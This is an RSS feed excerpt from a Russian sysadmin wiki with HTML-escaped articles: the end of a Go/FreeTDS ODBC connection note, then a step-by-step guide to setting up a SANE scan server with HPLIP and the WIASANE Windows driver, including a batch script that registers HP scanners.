В такой конфигурации я неизменно получал ошибку:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;SQLDriverConnect: {08001} [unixODBC][FreeTDS][SQL Server]Unable to connect to data source
{01000} [unixODBC][FreeTDS][SQL Server]Adaptive Server connection failed
exit status 1&lt;/pre&gt;

&lt;p&gt;
То есть соединение начинало устанавливаться, выбирался правильный драйвер, указанный в &lt;strong&gt;odbc.ini&lt;/strong&gt;, но в логах было:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;detected flag 2
login packet rejected&lt;/pre&gt;

&lt;p&gt;
Тут еще надо разобраться.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Но при этом все нормально подключалось, когда в качестве &lt;strong&gt;connection string&lt;/strong&gt; передается строка с параметрами, а не имя &lt;strong&gt;DSN&lt;/strong&gt;: &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;db, err := sql.Open(&amp;quot;odbc&amp;quot;, &amp;quot;DRIVER=FreeTDS;SERVER=x.x.x.x;UID=sa;PWD=YourPassword;DATABASE=DbName;TDS_Version=8.0;PORT=1433;&amp;quot;)&lt;/pre&gt;

&lt;p&gt;
Тут:&lt;br/&gt;

&lt;strong&gt;DRIVER=FreeTDS&lt;/strong&gt; - имя драйвера из &lt;strong&gt;freetds.conf&lt;/strong&gt;&lt;br/&gt;

&lt;strong&gt;SERVER=&lt;/strong&gt; - &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt;-имя или IP-адрес сервера&lt;br/&gt;

&lt;strong&gt;UID&lt;/strong&gt; и &lt;strong&gt;PWD&lt;/strong&gt; - имя и пароль пользователя&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430 \u043d\u0430 Go lang, \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0449\u0435\u0433\u043e \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0431\u0430\u0437\u044b MS-SQL&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u043c\u0435\u0440_\u043a\u043e\u0434\u0430_\u043d\u0430_go_lang_\u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0449\u0435\u0433\u043e_\u0434\u0430\u043d\u043d\u044b\u0435_\u0438\u0437_\u0431\u0430\u0437\u044b_ms-sql&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:22,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;10557-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>настройка_wiasane_sane</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0_wiasane_sane</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
У меня была задача - сделать &lt;strong&gt;скан-сервер&lt;/strong&gt; (по аналогии с принт-сервером) для &lt;strong&gt;Windows&lt;/strong&gt;-клиентов. То есть сервер, который бы предоставлял пользователям доступ к сканерам по сети. В результате должен получиться единый унифицированный интерфейс доступа к сканерам. &lt;br/&gt;

На клиентских машинах прописывается подключение к сканеру на скан-сервере с помощью унифицированного драйвера. А на скан-сервере уже подключение к физическому устройству с использованием драйвера, специфичного для данного устройства. Таким образом, даже физическая замена сканера на другое устройство будет приводить только к необходимости переконфигурирования устройства на скан-сервере, но не на клиентах.&lt;br/&gt;

В частности - было необходимо, чтобы пользователи фермы &lt;strong&gt;Citrix XenApp&lt;/strong&gt; могли сканировать с сетевых (Ethernet) сканеров (МФУ HP). То есть на каждом терминальном сервере должны быть установлены все сканеры, а пользователь получал бы доступ к одному из них (или нескольким) в зависимости от того, включен он в группу, соответствующую этому сканеру. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1875&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;архитектура_и_компоненты&quot;&gt;Архитектура и компоненты&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В качестве программной части скан-сервера выступает &lt;a href=&quot;http://www.sane-project.org/&quot; class=&quot;urlextern&quot; title=&quot;http://www.sane-project.org/&quot; rel=&quot;ugc nofollow&quot;&gt;SANE&lt;/a&gt;, который предоставляет унифицированный интерфейс для доступа к разнообразным сканирующим устройствам. &lt;br/&gt;

В качестве унифицированного драйвера для Windows выступил &lt;a href=&quot;https://github.com/mback2k/wiasane&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/mback2k/wiasane&quot; rel=&quot;ugc nofollow&quot;&gt;WIASANE&lt;/a&gt;. Это драйвер для Windows, позволяющий сканировать по протоколу &lt;strong&gt;SANE&lt;/strong&gt;. В системе устанавливается &lt;strong&gt;WIA (Windows Image Acquisition)&lt;/strong&gt; устройство, обращения к которому перенаправляются к устройству по протоколу &lt;strong&gt;SANE&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430_\u0438_\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1876-2772&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;настройка_скан-сервере_sane&quot;&gt;Настройка скан-сервере SANE&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0441\u043a\u0430\u043d-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 SANE&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u0441\u043a\u0430\u043d-\u0441\u0435\u0440\u0432\u0435\u0440\u0435_sane&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2773-2835&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;установка_sane_на_ubuntu_1404&quot;&gt;Установка SANE на Ubuntu 14.04&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install sane sane-utils libsane-extras&lt;/pre&gt;

&lt;p&gt;
 Затем как предписывает документация нужно проверить тут &lt;a href=&quot;http://www.sane-project.org/sane-mfgs.html&quot; class=&quot;urlextern&quot; title=&quot;http://www.sane-project.org/sane-mfgs.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.sane-project.org/sane-mfgs.html&lt;/a&gt;, что сканнер поддерживается и включить в файле &lt;strong&gt;/etc/sane.d/dll.conf&lt;/strong&gt; соответствующий &lt;strong&gt;backend&lt;/strong&gt; (раскомментировав нужную строку).
После этого включаем sane в режим сервера. В файлике &lt;strong&gt;/etc/default/saned&lt;/strong&gt; прописываем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# Set to yes to start saned                                                     
RUN=yes  &lt;/pre&gt;

&lt;p&gt;
И прописываем сеть из которой будет доступен демон &lt;strong&gt;saned&lt;/strong&gt; в файлике: &lt;strong&gt;/etc/sane.d/saned.conf&lt;/strong&gt;.
Там можно указать как отдельный хост, так и целую сеть. Для того, чтобы дать доступ к saned с любого IP-адреса нужно добавить строку с одним символом &lt;strong&gt;+&lt;/strong&gt; (плюсик).
&lt;/p&gt;

&lt;p&gt;
Мне нужно настроить работу SANE с МФУ HP M521 и 1536.
Поэтому - ставим модуль &lt;strong&gt;libsane-hpaio&lt;/strong&gt;, который будет работать с сетевым интерфейсом &lt;strong&gt;hpaio&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install libsane-hpaio&lt;/pre&gt;

&lt;p&gt;
Если нужного модуля нет, то в дальнейшем команда &lt;strong&gt;scanimage -L&lt;/strong&gt; будет вываливаться с ошибкой &lt;strong&gt;Segmentation fault (core dumped)&lt;/strong&gt;.
&lt;/p&gt;

&lt;p&gt;
На всякий случай проверяем наличие в файлике &lt;strong&gt;/etc/services&lt;/strong&gt; строки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sane-port 6566/tcp sane saned # SANE&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 SANE \u043d\u0430 Ubuntu 14.04&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_sane_\u043d\u0430_ubuntu_1404&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2836-4617&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;тестирование_saned&quot;&gt;Тестирование SANEd&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Во первых - можно включить тестовый бекенд &lt;strong&gt;test&lt;/strong&gt;. Для этого в файлике &lt;strong&gt;/etc/sane.d/dll.conf&lt;/strong&gt; нужно раскомментировать/добавить строку &lt;strong&gt;test&lt;/strong&gt;. В результате сервер начнет отдавать пару сканеров:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;device `net:localhost:test:0&amp;#039; is a Noname frontend-tester virtual device
device `net:localhost:test:1&amp;#039; is a Noname frontend-tester virtual device&lt;/pre&gt;

&lt;p&gt;
Если сервер sane работает как-то не так, то можно запустить его в режиме дебага, в котором он будет выдавать много полезной информации. Для начала нужно остановить его командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /etc/init.d/saned stop&lt;/pre&gt;

&lt;p&gt;
И запустить в debug-режиме:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /usr/sbin/saned -d&lt;/pre&gt;

&lt;p&gt;
Или в более подробном варианте:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /usr/sbin/saned -d128&lt;/pre&gt;

&lt;p&gt;
C какой-либо рабочей станции с Linux (на которой установлены &lt;strong&gt;sane sane-utils libsane-extras&lt;/strong&gt;) можно попробывать подключиться к saned:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;scanimage -d net:&amp;lt;ip adderss of saned&amp;gt;:test -T&lt;/pre&gt;

&lt;p&gt;
Если все хорошо, то вывод будет примерно такой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;scanimage: scanning image of size 157x196 pixels at 8 bits/pixel
scanimage: acquiring gray frame, 8 bits/sample
scanimage: reading one scanline, 157 bytes...   PASS
scanimage: reading one byte...          PASS
scanimage: stepped read, 2 bytes...     PASS
scanimage: stepped read, 4 bytes...     PASS
scanimage: stepped read, 8 bytes...     PASS
scanimage: stepped read, 16 bytes...    PASS
scanimage: stepped read, 32 bytes...    PASS
scanimage: stepped read, 64 bytes...    PASS
scanimage: stepped read, 128 bytes...   PASS
scanimage: stepped read, 256 bytes...   PASS
scanimage: stepped read, 255 bytes...   PASS
scanimage: stepped read, 127 bytes...   PASS
scanimage: stepped read, 63 bytes...    PASS
scanimage: stepped read, 31 bytes...    PASS
scanimage: stepped read, 15 bytes...    PASS
scanimage: stepped read, 7 bytes...     PASS
scanimage: stepped read, 3 bytes...     PASS&lt;/pre&gt;

&lt;p&gt;
На рабочей станции с Linux можно прописать адрес сервера &lt;strong&gt;saned&lt;/strong&gt;, чтобы команда &lt;strong&gt;scanimage&lt;/strong&gt; знала откуда брать сканеры. Для этого редактируем файлик &lt;strong&gt;/etc/sane.d/net.conf&lt;/strong&gt; и в конец дописываем IP-адрес сервера &lt;strong&gt;saned&lt;/strong&gt;. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0422\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SANEd&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435_saned&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;4618-7282&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;установка_устройств_hp&quot;&gt;Установка устройств HP&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Для работы с устройствами HP нужен пакет &lt;strong&gt;HPLIP&lt;/strong&gt; (HP Linux Imaging and Printing System). Его можно либо скачать с сайта HP, либо из репозиториев Ubuntu. На Ubuntu 14.04.02 я устанавливал из репозиториев. 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install hplip&lt;/pre&gt;

&lt;p&gt;
Поставилась версия 3.14.3 и с ней удалось сканировать по сети через &lt;strong&gt;saned&lt;/strong&gt; с клиента Ubuntu.
&lt;/p&gt;

&lt;p&gt;
С сайта HP можно скачать гораздо более новую версию, но с ней у меня так и не получилось сканировать  по сети через &lt;strong&gt;saned&lt;/strong&gt;. Но на всякий случай:
Скачиваем HPLIP - &lt;a href=&quot;http://hplipopensource.com/hplip-web/gethplip.html&quot; class=&quot;urlextern&quot; title=&quot;http://hplipopensource.com/hplip-web/gethplip.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://hplipopensource.com/hplip-web/gethplip.html&lt;/a&gt;
Скачиваем и ставим. Ставить рекомендуют под обычным пользюком (не под root):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://vorboss.dl.sourceforge.net/project/hplip/hplip/3.15.7/hplip-3.15.7.run
chmod a+x hplip-3.15.7.run 
./hplip-3.15.7.run&lt;/pre&gt;

&lt;p&gt;
Запускать инсталлер можно под обычным юзером. В процессе установки он попросит пароль чтобы выполнить установку от имени root.
&lt;/p&gt;

&lt;p&gt;
Если в интернет система выходит через proxy, то нужно объявить об этом до установки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;export http_proxy=http://host.com:port/
export ftp_proxy=http://host.com:port/
export no_proxy=.domain.com
export HTTP_PROXY=http://host.com:port/
export FTP_PROXY=http://host.com:port/&lt;/pre&gt;

&lt;p&gt;
А также прописать &lt;strong&gt;http_proxy&lt;/strong&gt;, &lt;strong&gt;https_proxy&lt;/strong&gt; и &lt;strong&gt;ftp_proxy&lt;/strong&gt; в файлике &lt;strong&gt;/etc/wgetrc&lt;/strong&gt;
&lt;/p&gt;

&lt;p&gt;
А после установки нужно установить плагины:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;hp-plugin -i&lt;/pre&gt;

&lt;p&gt;
А затем установить принтер/сканер:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo hp-setup -i -a &amp;lt;ip address of printer&amp;gt;&lt;/pre&gt;

&lt;p&gt;
Теперь сканер должен появляться при выполнении команды:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;scanimage -L&lt;/pre&gt;

&lt;p&gt;
Если там его нет, то генерируем &lt;abbr title=&quot;Uniform Resource Identifier&quot;&gt;URI&lt;/abbr&gt; для этого сканера. Делать это необязательно, но во многих мануалах это действие присутствует:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;hp-makeuri &amp;lt;ip address of printer&amp;gt;&lt;/pre&gt;

&lt;p&gt;
В выдаче будет строка типа: &lt;strong&gt;hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.203.1&lt;/strong&gt;
Для поверки состояния сканера берем строку с &lt;abbr title=&quot;Uniform Resource Identifier&quot;&gt;URI&lt;/abbr&gt; сканера и подставляем в команду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;scanimage --device=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.203.1 -T&lt;/pre&gt;

&lt;p&gt;
В результате должны вывалиться результаты тестов: PASSED.
&lt;/p&gt;

&lt;p&gt;
Команда
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;scanimage -L&lt;/pre&gt;

&lt;p&gt;
Должна выдавать список сканеров. Если она этого не делает, возможно, дело в файлике &lt;strong&gt;/etc/cups/printers.conf&lt;/strong&gt;. В нем нужно заменить значение параметра  &lt;strong&gt;DeviceURI&lt;/strong&gt;. Там может быть либо что-то про &lt;strong&gt;socket&lt;/strong&gt;, а должно быть то что возвращает команда  &lt;strong&gt;hp-makeuri&lt;/strong&gt; в строчке CUPS &lt;abbr title=&quot;Uniform Resource Identifier&quot;&gt;URI&lt;/abbr&gt;. Что-то типа &lt;strong&gt;hp:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.203.1&lt;/strong&gt;. После правки этого файла нужно перезапустить &lt;strong&gt;cups&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /etc/init.d/cups restart&lt;/pre&gt;

&lt;p&gt;
Теперь сканировать на сервере saned из командной строки можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;scanimage --device &amp;quot;hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.203.1&amp;quot; --mode Color --resolution 300 &amp;gt; ~/scan.jpg&lt;/pre&gt;

&lt;p&gt;
Если списка сканеров нет совсем или там нет нужного. то можно включить дебаг:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;SANE_DEBUG_NET=128 SANE_DEBUG_DLL=128 scanimage -L&lt;/pre&gt;

&lt;p&gt;
Сканировать с клиента Linux можно командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;scanimage --device &amp;quot;net:10.50.6.218:hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.203.1&amp;quot; --mode Color --resolution 300 &amp;gt; ~/scan.jpg&lt;/pre&gt;

&lt;p&gt;
Тут укаываем, что используем бекэнд &lt;strong&gt;net&lt;/strong&gt;, затем через двоеточие адрес сервера &lt;strong&gt;saned&lt;/strong&gt; и затем &lt;strong&gt;&lt;abbr title=&quot;Uniform Resource Identifier&quot;&gt;URI&lt;/abbr&gt;&lt;/strong&gt; сканера.&lt;br/&gt;

&lt;br/&gt;

Иногда бывает, что сканер поставился, но при попытках сканировать сообщает: &lt;strong&gt;Error during device I/O&lt;/strong&gt;. Вероятно нужно удалить его и поставить снова.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 HP&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432_hp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;7283-11947&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit7&quot; id=&quot;удаление_принтера-сканера&quot;&gt;Удаление принтера-сканера&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Обычно на сервере сканирования устанавливается несколько принтеров одинаковой модели. Для того, чтобы узнакть какой именно принтер надо удалить - открываем файлик &lt;strong&gt;/etc/cups/printers.conf&lt;/strong&gt; и ищем по IP-адресу как именно называется устройство.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cat /etc/cups/printers.conf
sudo hp-setup -i -r&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430-\u0441\u043a\u0430\u043d\u0435\u0440\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435_\u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430-\u0441\u043a\u0430\u043d\u0435\u0440\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;11948-12494&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit8&quot; id=&quot;настройка_фронтэндов_под_windows&quot;&gt;Настройка фронтэндов под Windows&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434\u043e\u0432 \u043f\u043e\u0434 Windows&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434\u043e\u0432_\u043f\u043e\u0434_windows&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;12495-12563&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit9&quot; id=&quot;wiasane&quot;&gt;WiaSane&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;strong&gt;wiasane&lt;/strong&gt; - это обертка для &lt;strong&gt;sane&lt;/strong&gt;, которая предоставляет WIA интерфейс к сканерам &lt;strong&gt;saned&lt;/strong&gt;. &lt;br/&gt;

Настроить wiasane (0.1.1.9) с устройствами &lt;strong&gt;hpaio:/net/…&lt;/strong&gt; удалось только после патчинга драйверов &lt;strong&gt;HPLIP&lt;/strong&gt;. Со стандартным драйвером программа пытается получать список сканеров с сервера &lt;strong&gt;sane&lt;/strong&gt;, но сервер не отдает эти устройства. Помогает патчинг драйвера. Смотри ниже. &lt;br/&gt;

Рабочая сборка - &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/sane_wia_driver.zip&quot; class=&quot;media mediafile mf_zip&quot; title=&quot;linux_faq:sane_wia_driver.zip (629.3 KB)&quot;&gt;sane_wia_driver.zip&lt;/a&gt;. Она доработана для того, чтобы прописывать сканеры скриптом.
Если возникают проблемы с установкой драйвера (он просто не ставится), то скорее всего не установлен &lt;a href=&quot;https://www.microsoft.com/en-us/download/confirmation.aspx?id=30679&quot; class=&quot;urlextern&quot; title=&quot;https://www.microsoft.com/en-us/download/confirmation.aspx?id=30679&quot; rel=&quot;ugc nofollow&quot;&gt;Visual C++ Redistributable for Visual Studio&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Скрипт для пакетного прописывания сканеров такой: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;devsane.exe device uninstall wiasane.inf
devsane.exe driver uninstall wiasane.inf
devsane.exe driver install wiasane.inf
del /f /q &amp;quot;c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;

devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M1530 Gilyar 6&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_M1536dnf_MFP?ip=10.90.32.74 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M1530 Gilyar 7&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_M1536dnf_MFP?ip=10.90.32.6 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Volokolamsk&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_M1536dnf_MFP?ip=10.166.243.200 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 PavlPosad&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.203.1 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 ul.Dm.Ulyanova&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.204.2 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Schelkovo&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.234.3 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Orehovo-Zuevo&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.207.1 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Kolomna&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.225.2 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Kozhuhovo&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.226.1 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Chehov&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.211.1 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Kashira&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.237.10 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Lobnya&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.223.2 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Podolsk&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.214.2 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Shatura&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.244.2 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Klin&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.209.3 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
